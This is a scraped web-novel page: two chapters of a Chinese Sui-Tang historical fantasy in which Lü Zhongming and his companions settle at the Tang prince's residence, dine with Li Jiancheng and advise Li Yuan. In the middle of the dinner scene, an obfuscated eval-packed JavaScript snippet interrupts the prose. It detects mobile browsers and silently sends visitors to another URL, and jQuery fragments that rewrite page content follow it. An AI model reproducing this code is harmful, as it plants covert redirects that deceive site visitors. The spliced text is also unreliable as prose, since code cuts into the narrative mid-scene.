——卷一:秦王破阵乐·完—— 19. 第十八回:王府 初春,晋阳全城冰雪初化,一轮煦日当空,房檐朝下滴着水,满城梅花芬芳扑鼻,十里长街,川流不息。,白墙黑瓦一望无际,全城的屋顶汇成黑海,独拥着城中央高耸的唐王府。 王府前冠盖如云,两街叫卖之声不绝于耳,风铃声响,和在清风中传来,晋阳一地乃是并州最繁华之地。 秦琼、罗士信与吕仲明三人都是平生首次得入这等大城市,半晌说不出话来,李世民的部下牵来马,数人沿着长街不徐不疾而行。罗士信跨在马背上,笑道:“好地方。” 百姓安居乐业,民生富足,确实是个好地方,秦琼点头道:“较之大兴,不趋多让。” 三个乡巴佬进城,忍不住总是左看右看,李世民也不客套,笑吟吟道:“两位将军为大隋征战多年,奔波良久,若无要事在身,就在晋阳落地生根罢。” 罗士信终究是少年脾气,看到这么热闹的地方,比较自己一生走过的地方,便不可遏制地喜欢上了这里。心中豪气顿生,要说句什么时,秦琼却微微摇头,示意他有什么话,待得大家熟了再说。 罗士信略一沉默,便知秦琼之意,自己三人过来,并不是白吃白喝的,李家也不可能养着一群光吃饭不干活的门客,纵是愿意卖命,也要看李渊看不看得上自己。 那边吕仲明与李世民二骑并肩而行,李世民略略靠过来些许,吕仲明马上就知道他有话要说,低声问:“怎么?” 李世民道:“说来惭愧,本该世民亲自前往代县。” 吕仲明抬手道:“世民兄,这次既然来了,便是将我二位哥哥托付给你”说毕回头看了一眼,见秦琼与罗士信还在互相开玩笑,继而认真看着李世民双眼。知道彼此都是聪明人,连寒暄都不必了, 李世民先是略一诧异,继而会心而笑。 吕仲明低声道:“别将我当做外人,也不需顾忌我心情,该说的直说就是,假以时日,世民兄会发现,仲明确实是真心来助你的。” 李世民沉吟良久,说:“愚兄谨记。” 吕仲明道:“世民兄,现在有话请说。不必客气。” 李世民也不与他绕弯子了,解释道:“仲明,到了王府后,我父亲应当会朝你询问一些事。” 吕仲明嗯了声,知道李世民这是提醒他,如何与李渊对答,问道:“唐王有何心结未解?” 李世民道:“那首歌谣也就罢了,我不知道你是否知道……年前我弟弟玄霸病逝……与家母先后离去,不足三个月。” 吕仲明微微皱眉,李世民道:“父亲足足感怀一年,若问及寻仙,访魂,招魂,盼你慎重作答。” 吕仲明沉吟,点头道:“生死有命,成事在天,多谢世民兄弟提醒。” 李世民摆手,解释道:“也是想为他分忧。” 说话间已过正街,吕仲明又笑道:“世民兄为何不问,人死后归途如何一事?” 李世民无奈道:“生前的事都忙不过来,哪有空去理身后,该来的总是会来。” 吕仲明笑了起来,又问:“城内佛寺几处?道观几处?” 李世民想了想,答道:“未有佛寺,止有三处道观。数年前汴州来了一位僧人,想在并州弘扬佛法,为我一家四兄弟祈福消灾。家父不信佛,那位法师便走了。我猜母亲病重时,父亲曾后悔不迭,这些年来一直留着个心病。这次如此急切地请你来晋阳,也正因如此。” 吕仲明心中一动道:“那僧人叫什么名字?” 李世民答道:“似乎是叫神秀法师,那时我还小……未曾待客,已记不清了。” 吕仲明又问:“所以晋阳至今,都未有佛法传播是么?” 李世民点头不语,吕仲明约略明白了——佛门在李渊这里碰了个钉子,也无法在晋阳弘扬佛法,看来并州这一块,对方是应当是暂时放弃了。 说话间数人已来到晋阳王府前,王府门大开,颇有宫廷威仪,官兵来往巡逻,李世民下马,侍卫纷纷朝他鞠躬,李世民便道:“大哥已为三位安排落脚之处,还请随我来。” 李世民带着他们走近晋阳王府,当先是一个巨大的校场,罗士信笑道:“当真气派。” “王府在并州一地抵御突厥。”李世民回头解释道:“养兵数千,实在忙不过来,又人来人往,这些年里渐渐外扩,便成了如今模样,见笑了。” 校场外有两队士兵正在操演,都是千人一队的方阵,四人登上百阶汉白玉阶梯,从正厅绕过,进了回廊。回廊后则是花园,回廊里挂着无数角铃,风一吹来,所有铃铛一齐清脆作响,悦耳无比,听得人心旷神怡。 晋阳王府极大,分三十七阁十三廊,正院,东府,西府三大建筑群。又有殿外的宽阔校场。内里三十七阁,又各有主建筑与偏院,楼与楼间以假山,花园或是回廊互隔。吕仲明一路走来,见但凡有人在花园中说话,看到李世民过来,都是纷纷点头与他行礼。 看来李家门客不少,都住在晋阳府上。 “来不及为各位准备宅邸。”李世民道:“这段日子里,就请先住家里,出入,走动都是随意的。” 秦琼略一点头,三人穿着粗布袍子,与这富丽堂皇的大王府十分格格不入。吕仲明倒是十分坦然,虽说晋王府气派,却终究气派不过金鳌岛碧游宫。一路上七拐八绕的,吕仲明刚绕过两条回廊便心道糟糕,待会万一自己走动的话,就得迷路了。李世民正走着,旁里便有人过来,朝他行礼,并凑到他耳畔小声说了什么,李世民点头,把人打发走了。 刚进入花园,又有人过来,找李世民说话,李世民便点头小声交谈几句。他把三人带出了了回廊,后面赫然又是一个占地近十亩地的练兵场,练兵场上有台阶,沿着台阶上去,则是几座庙宇般的建筑。外头挂着匾“长香苑”。 李世民回头说:“长香苑距东府虽有些远,但距正院近些,后头有个独立的院子,院内有池塘,夜间也僻静。” 吕仲明点头,问:“晋阳府有多大。” “正院,西府,东府三处”李世民道:“我大哥说让三位住这儿,来往也近些。” “你住何处?”秦琼问。 “东府上。”李世民笑道:“稍有些远了。” 吕仲明微一颔首,没作什么评价,是时三人进了长香苑,虽不是特别气派之处,较之外头雕栏飞檐的大屋子,终究是逊了一筹,然而小殿倒是有小殿的特别。 “世民兄。”吕仲明道:“若有事忙,就先行一步,不必陪着我们。” 李世民沉吟,点头道:“待会我再过来。” 李世民脸色有点不好,数人都猜到他有重要的事,也不多问,进了长香苑,那处正是个合院,四周有八间厢房,看上去倒像是道观所改,院里种了不少风竹沙沙作响,清幽典雅,倒是别有一番况味。 不多时又有家丁将三人在府外卸下的行李送来,院门外便有人进来听使唤,是个婢女,盈盈一躬,吕仲明道:“不必理会我们。” 那婢女还没说话,又被吕仲明给打发出去了,罗士信以手指弹了下外间门房前的听风瓶,叮叮当当的,随口道:“气派。” “钱财身外物。”吕仲明道:“都是没用的东西,这就住下来了?” 秦琼看着二人,说:“我无所谓,只怕咱们仨不能常住一起。” 吕仲明在廊前坐下,说:“给个地方住,给口饭吃,想必得让你俩去帮李家打仗了。” “那是肯定的。”秦琼倚着个石桌,笑道:“不然还让咱们混吃等死么?罗成?” “来都来了,打就打罢。”罗士信漫不经心道:“也打了好几年了,不打仗能做什么?何况小二愣子也得……” 罗士信说了个开头,吕仲明便知道罗士信知道了,自己虽然没怎么对这两位好兄弟提及,但他得依附李家,才能办自己的事,他们都是懂的。 吕仲明点头,秦琼又道:“我猜他们正缺人手,外头练兵的阵仗看起来也不行,有兵无将,我和罗成想必也不会闲着。混口饭吃没太大问题,就是不知他们待谋士如何。” 吕仲明胸有成竹,说:“不用担心我。” 说话说到一半,便有家丁捧着木盘进来,说:“三位大人,这是唐王世子为各位准备的。” 三人便停了交谈,秦琼道:“放下罢,你家世子怎么说?” 家丁道:“世子请三位大人晚上到明德楼去用晚饭。” “知道了。”罗士信又把那家丁打发走了。 吕仲明看了眼木盘中的东西,见都是小金锭,一时间不由得泪流满面,悲从中来,小爷那金葫芦要是带在身上,十万两黄金扔出来,谁都砸死了。 “又傻笑什么?没见过金子?”罗士信莫名其妙道。 “没笑什么。”吕仲明泪流满面。 木盘中还有三套上好的绸缎袍子,以及三块刻着姓氏的腰牌。料想是让他们出入王府所用。 “李建成送来的。”吕仲明道,拿起袍子在身上比划。 罗士信道:“不是他哥来接咱们,倒是挺意外。” 秦琼随口道:“我猜李建成多半就没把咱们当回事。” “嗯。”吕仲明点了点头,李建成前来请他们,乃是李渊的要求,招摇撞骗的道士多了去了,不差吕仲明这一个。李建成想必见怪不怪,什么民间传说吕神仙大战突厥兵一类的,既无亲眼所见,便都当笑话听了。毕竟口耳相传的奇人奇术层出不穷,都是上下嘴皮子一碰就说,李建成也不会尽信,只将他当做江湖术士看待。 而秦琼罗士信虽是隋朝将领,能带兵,李建成却不知其实力,不把他们看的太重,也实属寻常。 吕仲明笑道:“李世民是个识货的。他哥不怎么看重咱们。” 罗士信又道:“你可别忘了,他大哥才是世袭的王爷。” 这句话说得毫无前因后果,但大家内心都清楚,清风吹来,院内一片安静,三人都陷入了沉思之中。 吕仲明渐渐推断出李家人对待他们几个的态度,首先李建成几乎是完全不清楚他们几个来头的,只知道秦、罗二人带过兵。要招揽门客的话,只能算得上是中等级别。 而李世民则通过他的渠道,多少知道三个人的分量。当然也许也是因为他想招揽人,所以来者不拒。若无意外,李建成、李世民以及李渊,都会给他们一个互相深入了解的机会,知道他们的才能,才能知人善任。 “你也会打仗。”罗士信道:“找机会在他们面前露一手就行了。” “那是下策。”吕仲明笑道:“我能应对的,相信我。” 三人的讨论到这里就算完了,各自起身去整理东西,进王府时已是午后,没过多久,婢女见三人说完话,便端着点心进来,吕仲明正好有点饿了,便吃点心喝茶。 秦琼又道:“那黑炭也在王府里?” “说不定还病着。”吕仲明道:“晚饭的时候我再去问问他们。” 今天的这顿晚饭举足轻重,须得早作准备,于是吕仲明一再告诫自己,待会晚饭不可吃得太多,跟饿死鬼似的,让人轻看。一定要注意形象。 奈何傍晚到了明德楼里,香味一传来,吕仲明登时有点控制不住。 厅堂里只有李建成与他们三人,每人一案。 李建成入席时便客气道:“家父有事在身,来不了,实在抱歉。” 数人都点头道理解的,李建成又问:“吕先生荤素皆宜?” “都可以。”吕仲明道:“我们家不持斋戒。” 李建成点头会意,吩咐人上菜,先是上了一道鳖汤,一道咸蛋黄酿桂花虾,一道栗子烧肉,吕仲明便有点不太行了,竭力控制自己不要猛吃。婢女又把好吃的源源不绝端上来,吃了还有吃了还有……许多菜都认不得是什么东西。 李建成动了动筷子便不怎么吃了,先是问三人身世,与秦琼客套了一番,提及秦琼已故老母,李建成便颇有唏嘘,母亲新丧,按理说李建成还需守孝,彼此便交流了几句,吕仲明家严家慈安好,看那模样,天地塌了俩爹也死不掉,便不敢发表意见,以免又像刚认识秦琼那会,出言冒昧。 罗士信也是自幼父母双亡,自然与李建成有更多的话说。三人聊了一会,说到中原连年战乱,杨广开凿运河,民不聊生,百姓妻离子散的事,李建成便问:“请教秦将军,罗将军,两位从东边来,只不知叛军之势如何?” 这是要考校他们了,吕仲明知道秦琼肯定作了准备,便不怎么担心,便朝婢女道:“刚才那琵琶虾还有么?再给我来点。” 那琵琶虾实在太好吃了!简直比金鳌岛的东西还好吃……吕仲明道难怪天底下人都想当皇帝,当了皇帝想吃什么稀奇古怪的东西都有,还不会被管着…… 秦琼稍一想便答道:“离开隋军时,以叔宝所知,叛军仍以三支主力军为首。瓦岗的李密、江淮的杜伏威、与河北的窦建德。” 李建成略一点头,三人心里都知道,外头什么局势,李建成心底肯定比谁都清楚,秦琼便不与他多说形势,只道:“我与罗成,吕……” 吕仲明马上一个眼神制止了秦琼,秦琼反应也是甚快,便道:“我与罗成领军,跟王薄的主力交过手,也打退了卢明月。凡叛军,都有一样的弊病,兵多而不精。且人心涣散,士气低落。” 罗士信放下筷子,说:“兵铁装备匮乏,且单兵作战根本不堪一击,没有受过任何系统训练,只会简单的合围,包抄,且马战这方面,完全是空白。偶有奇计出现,譬如说水攻,火攻,却不懂配合天时地利,乃是靠小聪明想出来的计策。” 李建成道:“所言甚是。” 秦琼又解释道:“所以王薄才会败退,卢明月也是如此,如今战局,唯瓦岗,河北两支军队有可能坐大。若想为中原平叛,须得以速战为宜。因为时间拖得越久,对官兵来说便越不利。” 罗士信点头道:“时间拖得越长,他们就越能腾出手来战斗,开始时都是新兵,你打一次,敌人的力量就增强一分,打得越多,对方便越厉害,拖到最后,非常危险。” 李建成听不太懂,微微皱眉,秦琼又道:“要打,就要设法通过几场大的战役,全军出动,将对方全部歼灭。” 李建成道:“若将一支队伍交给两位,需要多久才能带出能打败义军的军队?” “世子,你没听懂我们说的。”罗士信摇头一哂,似乎不屑回答这个问题,李建成察觉到自己问了笨问题,便虚心道:“请将军教我。” “不能这么来估测。”秦琼道:“得看天赋,对敌时的勇气,以及决心,还有,不管派多少人,只要是新兵,上阵都会出状况。” “战场就是最好的课堂。”秦琼补充了一句,看着吕仲明,有点意外他这个时候居然没附和。 吕仲明根本就没空,才吃完冰糖肘子,现在又开始专心对付一只肥嫩的葱油鸡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563127|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “何况,杀人也是讲究天赋的。”罗士信抿了口酒,淡淡道:“我不知道世子上过战场,亲手在万军之中杀过人不曾,但就我来说,刚开始参战,活下来是靠实力,你不能后退,只能上前杀。将士们也是一样,不能给他们任何后退以及侥幸的机会。” “渐渐的,杀得越来越多,身边的同袍也就死得越来越多,一波一波地换,给我十万人,来十波敌人,死到最后,剩下一千人。”罗士信道:“足以。这一千人,带上最精良的武器,穿上最好的铠甲,足够击破任何叛军。哪怕来个五万人我也不惧。但若大家都觉得这场战役有良将带领,有高人坐镇指挥,靠阵法,靠谋略,能打胜仗。那么结果必然只有一个,死定了。” 秦琼点头,殿内十分安静。 李建成明白了罗士信与秦琼所言,又问:“以并州的条件,是否适合长期操练兵马。” “在什么地方都可以。”秦琼道:“操演,本身没有太大的区别。当年我们练兵时只教很少的一点打斗,大部分时间都是在战场上学。闲下来便翻山越岭,急行军突进,奈何朝廷擎制良多……条件不足。学以致用,练兵乃是学,上战场才是用。” 罗士信道:“我倒是觉得并州合适。” 罗士信看了秦琼一眼,秦琼也在考虑这个问题,知道他指并州外肆虐的突厥人。 罗士信显然对那天的陌刀铁骑非常感兴趣,问道:“天策军自建军到现在,有几个年头了?” 李建成显然在想别的事,心不在焉道:“天策军曾经是守卫凉州境内长城的一支队伍。” 罗士信点头,李建成却道:“我明白二位的意思,但纵是有新兵,也无法拿突厥人练兵,一来伤亡太重,二来……” “嗯。”秦琼道:“二来不可贸然启战。胜了还好,就怕败了危及百姓。” “塞外的马贼倒是可以。”李建成道:“当年历山飞被剿灭之前,便率军同时与马贼,突厥作战,历经多年,战力强悍。” 罗士信哂道:“说是这么说,但有兵也得至少一年的集训,才好带出去,否则都是些新兵蛋子,来日老子若带着人去朝突厥叫阵,背后部下全跑了,十万兵马面前剩了我一个,可就惹笑话了。” 说毕数人大笑,李建成忍不住莞尔。 吕仲明吃得已经彻底不能动了,婢女又送茶来喝,李建成见数人都差不多了,便喝了口茶,说:“改日再来请教两位将军,吕先生……” 李建成见吕仲明从始至终只说了三句话,分别是“太好吃了”、“这虾还有吗”以及“再给我来点肘子”。满脑子全是吃的事,与李建成先前所见的吕仲明完全不是同一个画风,实在是不知道怎么试他才学,然而自己也找不出什么话来问,转念一想,只得道:“今日菜肴可还……合心意?” “好吃。”吕仲明道:“比家里做的还好吃。仲明不懂行军打仗,不敢谬议。” 李建成笑笑,又说:“尉迟将军一事,建成已朝舍弟代为分说,尉迟将军身体已无大碍,但任务未完成,军纪如山,还是得担点干系,料想罚得不重,吕先生请安心。” “叫我仲明就行。”吕仲明道:“尉迟恭也住府上?” 李建成点头道:“想必您很快能见到他,时候不早了,建成还得回去……” 三人便道无妨无妨,秦琼道:“我们也该回去了。” 李建成笑道:“赶了好几天的路,各位就先随意休息。” 宾主又互相谦让了一番,李建成显然身有要事,便告罪离席,秦琼又喝了杯酒,要起身回去,罗士信看了吕仲明一眼,知道他在装傻,不愿太快被李建成看出底细。 “走罢。”秦琼道:“怎么了?不舒服?” 吕仲明:“吃太多了……” 罗士信:“……” 秦琼:“……” 秦琼善意道:“活动一下,慢慢起来。” 吕仲明只觉吃下去的东西都要从喉咙里冒出来,艰难地爬起来,罗士信又道:“背你?” 吕仲明忙色变道:“不不,肚子可千万不能挤着。” 吕仲明扶着墙出来,空气十分清新,塞北并州入夜,天空一道繁星如带,灿烂银河闪耀,晋阳府内树木又多,伴随着屋檐下的风铃叮叮作响,实在令人心旷神怡。 秦琼与罗士信还在讨论,方才于李建成面前的对答,吕仲明却走走停停,感觉自己快吐了,回去以后只能侧躺着,回到古代后,还是第一次吃得这么饱。 清风下,走廊尽头,灯火阑珊。 罗士信与秦琼的交谈停了,吕仲明还以为发生了什么事,朝远处看,只见那处站着一个高大的身影,手里提着个灯笼,柔和的灯光映在他的脸上,身上。 那是尉迟恭。 尉迟恭穿着一身靛蓝色的武袍,无袖的上衣,裸露着健壮的手臂,肩宽手长,剑眉英挺,略略点头,朝他们笑了笑。 “病好了?”秦琼随口问道。 尉迟恭点头道:“救命之恩,敬德铭记在心。” 吕仲明看到尉迟恭时便十分震撼,没想到会在这里碰上他,然而一时间千头万绪,又不知从何说起。 “你们聊罢。”秦琼道:“我们先回去了,走,罗成。” 秦琼搭着罗士信肩膀走了,罗士信回头还朝吕仲明笑了笑。 “等很久了?”吕仲明道。 尉迟恭笑了笑,说:“没多久,刚来,世民让我送你们回去,怕你不认识路。” “我可是等很久了。”吕仲明冷冷道:“你骗了我多久?太能装了罢,影帝。” 尉迟恭莫名其妙道:“影帝?” 吕仲明无语,没好气道:“没什么,不用送了,我自己回去。” “等等,仲明!” 吕仲明要绕过尉迟恭,尉迟恭却挡住他去路,说:“我有几句话,是真的想对你说……” 吕仲明静了一会,突然间胸腹之气逆行,打了个呃逆。 “嗝儿。” 尉迟恭:“……” 吕仲明:“……” “你还有什么话想……嗝儿。”吕仲明又来了一下,心道吃得太饱了,刚刚又被尉迟恭吓了一跳,这下绷不下去了,可恶啊! 尉迟恭忍着笑问:“要喝点水吗?去我那里坐坐?” 吕仲明冷着脸:“不了……嗝儿,你这个骗子……嗝儿。” 尉迟恭:“……” 吕仲明要走,尉迟恭却不让他走,认真道:“是我不好,我没对你说实话,敬德有公务在身,不敢泄露身份……” 两人沉默,风铃发出轻响。 “嗝儿。” 吕仲明打呃逆的时候,肩膀忍不住都在抽,尉迟恭实在看不下去了,要伸手过来摸摸吕仲明的背,却被他躲开。 “还要说什么?”吕仲明道:“嗝儿。” 吕仲明接连打呃逆,什么气氛都没了,尉迟恭强忍着笑,全身发抖道:“我就是来向你……道个歉。” 吕仲明又是一抽,把呃逆闷着,冷冷道:“知道了。” 尉迟恭看着吕仲明,朝他笑了笑,说:“对了,世子还派了我一件事……” 吕仲明咬牙切齿:“呵呵!债贱!” 说毕吕仲明一边打呃逆,一边头也不回地离开了尉迟恭,继而脚步越来越快,最后带着满腔愤怒与抓狂等种种复杂的情绪,化作一匹狂奔的羊驼消失在黑夜的尽头。 20. 第十九回:问道 当夜,长香苑内,罗士信与秦琼坐着喝茶,吕仲明躺在一旁,面朝墙壁。 “嗝儿。” 吕仲明的肩膀抽了下。 秦琼:“喝点水,没事罢。” 吕仲明爬过来,喝了口茶,还是在打呃逆,一打起来没完没了的,整个胸膛都在抽,腹肌都酸了。罗士信给他顺了顺背,秦琼问:“你觉得,咱们靠着李世民?不想与他大哥多接触?” 吕仲明勉强点头,又是一抽。 罗士信皱眉道:“我发现你每次碰上那小子就得愁眉苦脸半天,妈的,老子这就去把他砍了。” “我是吃太饱了!”吕仲明叫道。 “嗝儿。” 秦琼与罗士信无语。 “唐王也没找你。”秦琼道:“原以为他会问几句苍生大局之类的话。” 吕仲明又喝了口茶,还是在打呃逆,实在太抓狂了,说:“我去睡觉了!” 孰料外面又有人找,却是尉迟恭又来了。 三人看着外头尉迟恭,尉迟恭道:“唐王请仲明过去喝杯茶,说说话。” 吕仲明:“……” “我还在打呃逆!怎么办!”吕仲明抓狂道:“嗝儿。” 秦琼果断道:“先喝水,把呃逆止住……” “我这有。”尉迟恭道:“刚才回去拿的蜜水。” 尉迟恭拿竹筒过来,秦琼与罗士信去找衣服,吕仲明就着尉迟恭端着的竹筒,一口气猛灌蜜水,连着灌了十五口,看了眼尉迟恭胸膛,见他还缠着绷带,便抬手摸了摸。 “还痛不?”吕仲明问道。 尉迟恭答道:“好了。” “那天把我吓死了。”吕仲明比划道:“箭头距离你的心脏只有这么远。” “差一点就死了。”尉迟恭笑道:“你救了我一命,不打了,我娘教的有用,喝水能好。” 吕仲明终于把呃逆压下去了,罗士信拿着衣服给他穿,数人对着镜子,吕仲明摇身一变,又恢复了一表人才的模样。背后灯火辉煌,镜子里的他眉如一笔浓墨,双目明亮灵气十足,少年郎的稚气未尽褪,眉眼间却带着自信的神色。 他的皮肤非常好,肤色白皙且五官轮廓柔和,嘴唇柔润,鼻梁高挺,双目深邃,尉迟恭看了一会,发现吕仲明也在镜子里看他,脸色一红,不自然地将目光转开。 吕仲明的心脏通通跳了起来,穿上云纹素锦袍子,问道:“怎么样?” “像。”秦琼笑道,拍拍吕仲明的肩膀,说:“去罢。” 吕仲明:“像什么?” “像修仙的。”罗士信道:“去罢,你能行的。” 吕仲明便点头,穿上靴子,跟着尉迟恭前往正德殿上去见李渊。尉迟恭提着灯笼,时不时回头看吕仲明,眼里带着笑。 “看什么。”吕仲明没好气道。 尉迟恭道:“你和我们不一样,第一眼看到你,我就是这么想的。” “哪里不一样了?”吕仲明眼里带着笑意,反问道。 “你是仙人。”尉迟恭道:“我们都是凡人。” 吕仲明知道长期居住在并州,日晒凶猛,风沙厚重,水土原因,这里的人皮肤相对来说都比较暗沉,偏古铜色一点,但也不构成是仙人的理由嘛。便道:“那是因为你没去过江南,江南人都长这样,世民兄皮肤也好,眼睛也亮,长得也俊,怎么不说他是仙人?” “不一样。”尉迟恭道:“他没有仙气,你身上有种仙气,走路时那种自由自在的感觉,无忧无虑,一边走一边笑的模样。” 步伐?性格?吕仲明道:“一边走一边笑,那是傻子好吧……” 尉迟恭莞尔,又叹了口气,似乎有话说不出来的样子。 “这个……”尉迟恭拿出吕仲明的那片鳞,说:“我可以一直收着么?” 吕仲明看了一眼,便道:“当然,给你的就是你了。” 尉迟恭点头,自嘲般地笑笑,说:“本以为你生气了,会要回去。” 吕仲明摆手,笑道:“没有生气,打嗝打得都没气了。” 说话间两人到了正德殿,守门的卫兵一起朝二人鞠躬。 “尉迟将军。” 尉迟恭提着灯笼,作了个“请”的手势,自己却不进去,说:“我在外头等你,待会送你回去。” 吕仲明点头,进一门,褪了靴子,再踏上垫板,走近殿内。 只见殿中央一名中年人两鬓发白,倚在胡床上,看手中一本书,李世民则坐在一旁,给那中年人烹茶。 “没想到吕道长如此年轻。”那中年人道。 “见过唐王。”吕仲明笑道,正要收拾心神,好好糊弄一下李渊时,忽然间一紧张,胸腹之气又逆行上来,忍不住打了个呃逆。 “嗝儿。” 吕仲明:“……” 静夜中,夜空晴朗,万里无云,漫天星星。 吕仲明不得不承认李家果然气派,李世民用来煮茶的器皿,许多是连他都没见过的,然而他实在没什么心思去跟李渊多说,所有注意力都集中在自己的呃逆上,听说闭气也可以止住呃逆,他便开始尝试以闭气控制。 李渊却丝毫没有发现,或者是已经发现了,为避免尴尬而不说,问道:“吕道长在晋阳可住的顺心?” 吕仲明点点头,不说话。 “道长请。”李世民笑着给他一杯茶,吕仲明接过,喝了。 李渊道:“道长实在太年轻了。” 吕仲明笑笑。 李渊道:“只不知道长是正一道,还是五斗米道?” 吕仲明喝下茶,闷了个呃逆,心道似乎好了,便开口答道:“晚辈是上清道。” “上清道?”李渊有点奇怪。 “天下道门。”吕仲明放下茶杯,淡淡回答:“其实本无分别,唐王所问的五斗米道与正一道,前者乃张鲁,后者乃张道陵所创。事实上以创始者来区分道家流派,并不正确。” “噢……”李渊缓缓点头。 吕仲明感觉自己已经不呃逆了,便自若答道:“毕竟在他们创教前,盘古一气化三清,三清便已斩去三尸,证于天地,万古长存。玉清元始天尊,太清道德天尊,上清灵宝天尊。现今天下道门,有以玉清为尊的玉清道,也有奉行老君经文的太清道,还有奉上清灵宝天尊的上清道,晚辈便是上清道门人。” 至此,李渊方恍然大悟,点头,说:“道长所言有理,只不知上清道中,所学为何?是丹药之法,还是延年益寿之术?” “容晚辈问一句,唐王有何心愿未遂?”吕仲明看着茶杯,随口道:“是求长生,还是想修仙,抑或是泽被子孙,求三清赐福?” 李渊正思考时,吕仲明却放下茶杯,认真道:“若是想借仙力了却心愿之法,仲明无计可施。上清道所教授,非是求神问鬼之术,也不能使人长生不死,更无法令人超脱三界成仙。” 听到这话,李世民脸色一变,忙皱眉以眼神示意,吕仲明却假装看不见起身,向李渊拱手道:“仲明不才,就此告辞。” 吕仲明正要走时,李渊却忙道:“请留步。” 吕仲明回头看着李渊,李渊长叹一声,缓缓道:“本王明白了。” 李世民笑道:“道长,茶还没喝完。可是嫌李某待客不周么?” 吕仲明笑了笑,坐下,不说话。 “阁下见笑了,仲明家学,对唐王兴许起不了帮助。”吕仲明道:“我只学了‘道’,以及如何‘证道’,天地之间,最难寻的,独独便只有‘道’。唐王位极人臣,坐拥并州,千万百姓便是您的子民。世间之道,便在唐王的身上。仲明只懂如何平去这乱世,协助唐王证此道,重新缔造一个升平盛世,救百姓于水火,解万民于倒悬。此道,乃是‘帝王之道’。” 李渊笑道:“老朽有眼无珠,盼吕先生莫要往心里去。” 吕仲明知道此刻不上点料,双方还止于客套,并无进展,便先表忠心道:“唐王,仲明不才,此来愿为李家尽一份心力,只盼能有朝一日,见唐王证得王道。” 李渊道:“好,仲明快快请坐。” 吕仲明道:“容仲明问一句,唐王觉得,来日天下形势如何?莫不是还想为隋家尽一份心力,至死则以?” 李渊:“……” 李渊道:“道长言重了,如今战乱频起,本王守卫并州,抵御突厥,也属无奈之举,常常盼着有朝一日,能回中原,尽力收拾这乱局。” 吕仲明知道自己来前,李世民必定是遣人将他们三个的来龙去脉都调查清楚了,知道秦琼与罗士信当了逃兵,自然也知道他是杨广要的人,便不再与李渊拐弯抹角地说话,直接开门见山了。 来前他也了解过李家的发家史,心道李渊为人圆滑,说什么都不愿被人抓住把柄……既是如此…… “大隋已是广厦将倾,垂垂危矣,杨广的脾气,想必唐王也是知道的,何时生,何时死,不过在他一念之间,又何必再为他效命?大隋气数已尽,一朝倾覆,唯有唐王起兵号令,方能平息眼前乱局。”吕仲明喝了口茶,便这么轻描淡写地说了出来,仿佛是知道李渊必将起兵造反一事,听得李世民暗自心惊。 李渊先是脸色微变,继而浮现笑容,问道:“道长,李渊何德何能?堪当此大人?我李家为隋效命多年……” 吕仲明一哂道:“时局瞬变,此一时,彼一时了,本以为唐王胸怀大志,仲明才与两位哥哥前来投奔,唐王若不愿招兵起事,就此别过。” 李渊不说话了,吕仲明看出他也在犹豫,便不再纠缠这话,又解释道:“起事指日可待,如今天下,不过是杜伏威、杨广、李密、窦建德数人为敌。杨广已穷途末路,又与江淮义军彼此牵制,远在万里之外,不必理会。” 李渊没接话,吕仲明便连珠炮般把话都说了,心道反正来都来了,今天小爷也给你来个唐朝版隆中对,誓要达到语不惊人死不休的效果,又说:“但唐王若想打起旗号,起兵反隋,万万不可自立为君,须得等候时机。” 李世民拿着杯子的手不住发抖,已说不出话来了,李渊却眯着眼,问:“何时方是良机?” “杨广死的那一天,就是良机。”吕仲明答道:“这几年,与突厥宜和不宜战,先以怀柔手段稳住突厥。朝廷若催起,便道因守卫边疆,无暇抽兵镇压中原一带。待得杨广大势已去,天下英杰群起而攻之,假以时日,不出三年,杨广必将走到死胡同,待杨广死后,唐王可拥立其宗族为君……” 吕仲明稍一沉吟,便起身走到李渊身后,抬头看着墙上的地图,续道:“这个时候,想必唐王已稳住了突厥人。且一时缓得外患,发兵直取大兴。一旦占领了大兴,最大的阻力便来自瓦岗,李密必然会警觉。” 说到此处,吕仲明认真地看着李渊双眼,解释道:“李密此人自命不凡,可怀柔取之,令其与余下势力相斗,李密好大喜功,且不能容人,只要不与他起正面冲突,坐山观虎斗,其人必败。” “待得那时,可沿大兴发兵取洛阳,招降李密,再杀之。” “那天救张须陀将军之时,本想一箭送他上西天,为唐王绝此后患。不料终究是射偏些许,可见李密气数未尽。” “然而不要紧,此刻关中之地已收入囊中。至此时,打的打,谈的谈,安抚的安抚,颁新政,安民心,轻徭薄赋,天下艰难多年,百姓不过是想讨口饭吃。” “众望所归之处,好战之人不过是秋风残叶,不足为患。”吕仲明道:“但须得慎防义军与官阀残党勾结突厥。初定大兴洛阳后,想必还有几场硬仗要打。扫除突厥积患后,唐王已是九五之尊。证此王道,上达天听,待那一天,仲明自当为陛下一释平生之疑。” 殿内十分安静,李世民,李渊两父子看着吕仲明,都是微微张着嘴,李世民端壶的手定在半空,添水的壶嘴嘀嗒一声,水滴落在杯中。 “嗝儿。”吕仲明又打了个呃逆,恨不得把自己埋起来。 李渊一直眯着的双眼睁开,大笑三声,反而把吕仲明吓了一跳。 “说得好。”李渊笑道,双眼中,竟是透着一丝沧桑与睿智:“本王受教,世民,能请到吕先生前来,你功不可没。” 李世民笑而不语。 李渊起身,一振双袖,朝吕仲明一鞠躬,吕仲明忙扶住这老者,霎时间心中感慨万千。 李渊道:“本王愿拜先生为上卿!盼先生莫嫌弃本王!” 吕仲明笑道:“唐王过谦了,仲明进晋阳时,见全城百姓安居乐业,城中富饶,便知唐王乃是天命所归之人。请。” 李渊回榻上坐着,长叹一声,答道:“我本有心做点事,奈何年纪大了,许多事,有心无力,也拿不定主意,今日听先生一席话,茅塞顿开,受益良多。然而时机难以把握……” “那是自然的。”吕仲明认真道:“不可贸进,须得准备周全。”自然知道李渊是个老狐狸,先前昏昏欲睡的模样,都是装出来的,必然早有计谋,多半自己所言正与他不谋而合,才有这待遇。 